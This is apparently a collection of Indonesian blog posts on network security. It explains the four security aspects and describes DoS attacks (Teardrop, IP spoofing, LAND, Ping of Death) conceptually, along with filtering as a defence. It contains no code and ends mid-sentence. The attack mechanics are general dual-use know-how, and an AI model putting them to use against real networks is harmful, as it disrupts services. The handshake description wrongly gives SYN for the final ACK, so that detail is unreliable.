Kesimpulan dari gambar diatas, sebuah jaringan dilapisi oleh 3 Lintasan, yang pertama Prevention ( perlindungan ) jaringan, diikuti lapisan kedua, yaitu Decetcion (Deteksi ) dalam jaringan, dan yang terahir lapisan ketiga, yakni Response, setelah melewati ketiga lapis tersebut, diharapkan dapat mengatasi segala masalah pada system jaringan, Adapun Aspek yang meliputi Keamanan Sistem Komputer Jaringan, bias and abaca di artikel : Aspek yangmeliputi Jaringan Komputer
Tidak ada jaringan yang 100% Aman, walaupun begitu, kita tetap harus menjaga dan memberi perlindungan terhadap jaringan yang kita kelola, agar semua data atau info penting dalam jaringan tetap terjaga.

Aspek yang meliputi Sistem Keamanan Jaringan Komputer

Sistem keamanan  pada jaringan / computer melingkupi empat aspek, yaitu Availabity, Confidentiality, Integrity, dan Authentication. Jika empat aspek tersebut dihubungkan maka akan menghasilkan diagram seperti dibawah ini :

 Untuk menambah pengetahuan, berikut ini adalah beberapa pembahasan dari 4 aspek yang telah disebutkan diatas,

1.       Confidentialiy

Confidentiality, bisa juga disebut dengan Privacy, Confidentiality atau Privacy didalamnya mencakup informasi kerahasiaan, Inti dari aspek ini adalah, bagaimana cara menjaga informasi agar tidak dilihat ataupun diakses oleh pihak yang tidak berhak atau berwenang, Sebagai contohnya, Anda mempunyai E-Mail yang tidak boleh dibaca oleh seseorang, dan salah satu usaha yang dapat dilakukan untuk mewujudkan hal tersebut adalah dengan menggunakan Enkripsi. Kita dapat menggunakan enkripsi untuk setiap dokumen ataupun informasi lainnya yang dianggap rahasia.  Enkripsi yang anda buat, dapat berupa sebuah password.

2.       Integrity

Integrity atau integritas mencakup kebutuhan informasi, Inti atau tujuan dari aspek integrity adalah bagaimana cara menjaga informasi agar tetap utuh, cara agar informasi tidak dapat diubah, kecuali mendapat izin dari pemilik informasi. 

3.       Authentication

Authentication atau autentikasi adalah suatu proses pengenalan dari sekelompok peralatan, system operasi, kegiatan, aplikasi, dan identitas user. Autentikasi bertujuan untuk mengetahui pemilik asli atau pemilik yang sah dari suatu informasi yang diberi Enkripsi atau Perlindungan Akses.  Contohnya, Jika anda pergi ke ATM ingin mengambil ataupun mentransfer uang, maka anda diharuskan mengisi PIN atau password, saat anda memasukkan password lalu anda menekan Enter, maka akan dilakukan proses Authentication untuk melakukan kecocokan password yang anda berikan, jika cocok, maka system percaya jika anda adalah pihak berwenang untuk mengakses data / informasi yang terenkripsi tersebut, dan system  akan memberikan anda ijin akses, namun jika saat proses authentication tidak terdapat kecocokan, maka system tidak akan memberikan ijin akses terhadap data / informasi tersebut.

4.       Availability

Aspek ini berhubungan dengan ketersediaan data atau informasi yang tersimpan. Misalya, anda merequest sebuah informasi terhadap server, lalu server akan memproses permintaan itu untuk dikirim ulang kepada anda. 
Aspek Availability juga kerap mendapat serangan DOS( denial of service ) Attack, dimana server dikirimi request atau permintaan palsu secara bertubi-tubi sehingga server tidak dapat melayani permintaan lain, yang akan mengakibatkan server overload. Anda dapat membaca lebih laengkap tentang serangan DOS attack di Artikel Jenis Jenis Serangan DOS Atau serangan DDOS di artikel 

Wednesday, May 4, 2016

Jenis-jenis serangan DoS



1.       Teardrop

Teardrop adalah salah satu tipe serangan Denial Of Service (DOS). Teardrop adalah sebuah serangan yang memanfaatkan kelemahan yang ditemukan pada internet protocol dalam pengiriman paket. Ketika sebuah paket diproses, dalam penerapannya biasanya dilakukan pengecekan  apakah paket yang diberikan terlalu panjang atau tidak tapi tidak melakukan pengecekan apakah paket tersebut terlalu pendek dan dibatasi.

2.       IP Soofing

IP Spoofing adalah suatu trik  hacking yang dilakukan pada suatu server dengan tujuan untuk mengecoh komputer target agar mengira sedang menerima data bukan dari komputer yang mengirim data tersebut, melainkan komputer target mengira menerima data dari komputer lain yang memiliki IP Addres yang berbeda dari komputer sebenarnya yang telah mengirim data. Suatu contoh dari IP Spoofing adalah sebagai berikut:
Misalkan:
·  IP Address komputer sumber yang mengirim data adalah 203.45.98.1
·  IP Address komputer yang akan dijadikan target adalah 202.14.12.1
·  IP Address sistem yang digunakan untuk mengirimkan data adalah 173.23.45.89
Secara normal komputer target akan mengidentifikasi IP Address dari komputer yang mengirimkan
data adalah 203.45.98.1, namun dalam trik IP Spoofing komputer target akan mengira bahwa
data yang dikirim adalah dari komputer dengan IP Address 173.23.45.89.
IP Spoofing adalah suatu teknik yang sulit untuk dilakukan karena pada kenyataannya
saat melakukan teknik ini penyerang (hacker) tidak mendapatkan pesan atau  feedback
dari proses yang telah dilakukan apakah berhasil atau gagal. Hal ini biasa disebut
dengan  blind attack, dimana  hacker akan selalu berasumsi bahwa serangan yang
dilakukannya sudah berjalan dengan benar. Permasalahan utama dari teknik ini adalah
walaupun komputer sumber berhasil mengirim data dengan IP Address komputer
sumber yang telah disamarkan, dan komputer yang menjadi target telah mempercayai
bahwa data telah dikirm oleh komputer dengan IP Address yang dipalsukan, kemudian
komputer target akan membalas melalui IP Address yang dipalsukan, bukan IPAddress
komputer sumber. 
IP Spoofing dilakukan dengan menggunakan konsep  three-way handshake agar terjadi koneksi TCP/IP. Secara normal three-way handshake yang terjadi adalah:
·  Komputer sumber mengirim paket SYN ke komputer target
·  Komputer target mengirim kembali paket SYN/ACK ke komputer sumber
·  Komputer sumber akan mengakui paket SYN dr komputer target dengan mengirim balasan berupa paket SYN ke komputer target.
Adapun yang terjadi dalam IP Spoofing adalah:
 
1. Komputer sumber mengirim paket SYN ke komputer target tapi dengan menggunakan IP Address yang telah dipalsukan.
2.  Komputer target akan mengirim paket SYN/ACK kepada komputer dengan IP Address yang palsu tersebut. Dalam hal ini tidak ada cara bagi computer sumber untuk menentukan kapan dan apakah komputer target benar-benar membalas dengan mengirimkan paket SYN/ACK ke IP Address yang telah
3.  dipalsukan tersebut. Hal ini merupakan bagian yang tidak diketahui oleh komputer sumber (blind part) dan komputer sumber hanya dapat berasumsi bahwa komputer target telah mengirim paket SYN/ACK ke IP Addres yang telah dipalsukan tersebut.
4.  Kemudian setelah beberapa waktu komputer sumber harus mengirimkan paket SYN ke komputer target untuk mengakui bahwa komputer dengan IP Address yang palsu telah menerima paket SYN/ACK.
Koneksi TCP/IP hanya akan terjadi jika dan hanya jika ketiga langkah di atas terjadi.

LAND ATTACK
 
LAND Attack atau biasa juga disebut LAND DoS Attack bekerja dengan cara mengirimkan paket SYN dengan IP Address  yang telah dipalsukan – yang biasa digunakan pada handshake antara  client dan host – dari suatu host ke semua port yang sedang terbuka dan mendengarkan. Jika paket diatur untuk memiliki IP Address sumber (source) dan tujuan (destination) yang sama, maka pada saat paket ini dikirim ke sebuah mesin (melalui IP Spoofing) akan dapat membohongi atau mengecoh mesin tersebut agar mengira bahwa mesin itu sendiri yang telah mengirim paket tersebut, dimana hal ini dapat mengakibatkan mesin  crash (tergantung dari sistem operasi yang terdapat pada mesin tersebut).  
Jenis serangan ini dapat mempengaruhi mesin dengan sistem operasi Windows 95/NT, berbagai jenis dari UNIX, termasuk juga  SunOS, beberapa versi BSD UNIX, serta Macintosh. Serangan ini juga dapat mempengaruhi beberapa Cisco router, dan peralatan cetak yang berbasiskan TCP/IP (TCP/IP-based printing devices).
LAND Attack dapat mempengaruhi berbagai sistem operasi dalam berbagai cara. Sebagai contoh, serangan jenis ini dapat menyebabkan mesin dengan sistem operasi Windows NT 4.0 (dengan Service Pack 3 dan seluruh aplikasinya) menjadi lambat kira-kira dalam waktu 6 detik, setelah itu akan kembali normal tanpa ada efek lainnya. Serangan ini jika terjadi pada mesin dengan sistem operasi Windows 95 dapat menyebabkan baik itu crash maupun lock-up, sehingga mesin-mesin tersebut perlu di boot ulang. Sementara sebagian besar mesin dengan sistem operasi UNIX yang mendapat serangan ini akan crash atau hang dan user tidak dapat melakukan akes ke servis-servis yang terdapat pada mesin tersebut.

PING OF DEATH
Ping of Death adalah salah satu bentuk serangan “ping attack”. Pada internet, bentuk serangan ini adalah bentuk serangan DoS (denial of service attack) yang disebabkan oleh penyerang yang dengan sengaja mengirimkan sebuah paket IP yang ukurannya lebih besar dari yang diijinkan oleh protokol IP yaitu 65.536 byte. Salah satu fitur dari TCP/IP adalah fragmentation, yang mengijinkan sebuah paket IP tunggal dipecah ke dalam bagian yang lebih kecil. Pada tahun 1996, para penyerang mulai mengambil keuntungan dari fitur ini, yaitu saat mereka menemukan bahwa sebuah paket yang dipecah menjadi bagian-bagian kecil dapat ditambah menjadi lebih besar dari yang diijinkan yaitu 65.536 byte. Banyak sistem operasi tidak tahu apa yang harus dilakukan ketika menerima paket dengan ukuran yang berlebihan tersebut, sehingga akhirnya sistem operasi tersebut berhenti bekerja, crashed, atau rebooted. Serangan ping of death sangat tidak menyenangkan karena tanda-tanda atau identitas penyerang saat mengirim paket dengan ukuran yang berlebihan dapat dengan mudah disamarkan, dan karena para penyerang tidak perlu mengetahui apapun tentang mesin yang akan mereka serang kecuali IP Addressnya. Pada akhir tahun 1997,  vendor-vendor sistem operasi telah membuat sejumlah  patch yang memungkinkan untuk menghindari serangan ini. Beberapa Web site melakukan blok terhadap pesan ping ICMP pada  firewall yang mereka miliki untuk mencegah berbagai variasi berikutnya dari serangan jenis ini. Ping of death juga dikenal sebagai “long  ICMP”. Variasi dari serangan ini termasuk
jolt, sPING, ICMP bug, dan IceNewk.

Bagaimana cara mengatasi serangan Dos?
 
Untuk mengatasi terjadinya serangan DoS maka hal pertama yang dilakukan adalah dengan mengetahui jenis-jenis serangan DoS dan bagaimana cara kerjanya. Seperti strategi yang diterapkan oleh Tsun Zu dalam bukunya “The Art of War”. Kita harus mengetahui kelebihan dan kelemahan penyerang sebelum melakukan serangan balasan. Setelah mengetahui cara kerja dan jenis-jenis serangan DoS maka langkah berikutnya yang paling sering digunakan adalah dengan melakukan pengaturan dengan cara penyaringan/  filtering, atau “sniffer”/ mengendus pada sebuah jaringan sebelum sebuah aliran informasi mencapai sebuah server situs web. Penyaring tersebut dapat melihat serangan dengan cara melihat pola atau meng-identifikasi kandungan/ isi dari informasi tersebut. Jika pola tersebut datang dengan frekuensi yang sering, maka penyaring dapat memberikan perintah untuk memblokir pesan yang berisikan pola-pola tersebut, melindungi web server dari serangan tersebut.  Mengenal salah satu  tool yang digunakan untuk melakukan serangan DoS Di internet banyak sekali  tools yang dapat digunakan untuk menyerang sebuah sistem jaringan dengan menggunakan metode DoS.




Key : jenis jenis serangan dos, apa saja serangan dos, macam macam serangan dos

Macam Macam / Jenis Serangan DdoS


Sobat delzee, kita akan membahas tentang macam jenis serangan DdoS,
Serangan DDoS dirancang untuk menargetkan aspek bisnis dan sumber daya, dan dapat :